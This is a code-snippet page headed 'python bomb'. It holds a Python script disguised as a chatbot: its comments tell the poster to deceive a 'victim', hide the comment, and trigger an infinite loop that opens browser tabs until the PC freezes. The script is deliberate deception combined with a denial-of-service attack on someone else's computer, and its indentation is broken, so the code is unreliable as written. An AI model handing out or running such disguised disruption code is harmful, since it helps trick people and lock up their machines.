Answers for "python bomb"

0

python bomb

#Ask victim to type 'Open youtube' or 'Open Python Website
#dont forget to delete the comment
#Tell them its a ChatBot

import time
import webbrowser as web

ans = input('')
youtube = 'https://youtube.com'
pythonwebsite = 'https://python.org'
while(1):
  if(ans=='What is your name?'):
  time.sleep(2)
  print('My name is Athcubes')
  
  if(ans=='How is your day?'):
    print('It is nice going')
    
  if(ans=='Open youtube'):
    web.open(youtube)
    
  if(ans=='Open Python Website'):
    web.open(pythonwebsite)
# Opens a new tab per second infinitely. Task manager stops responding.
#PC freezes AND stops responding
Posted by: Guest on November-28-2020

Python Answers by Framework

Browse Popular Code Answers by Language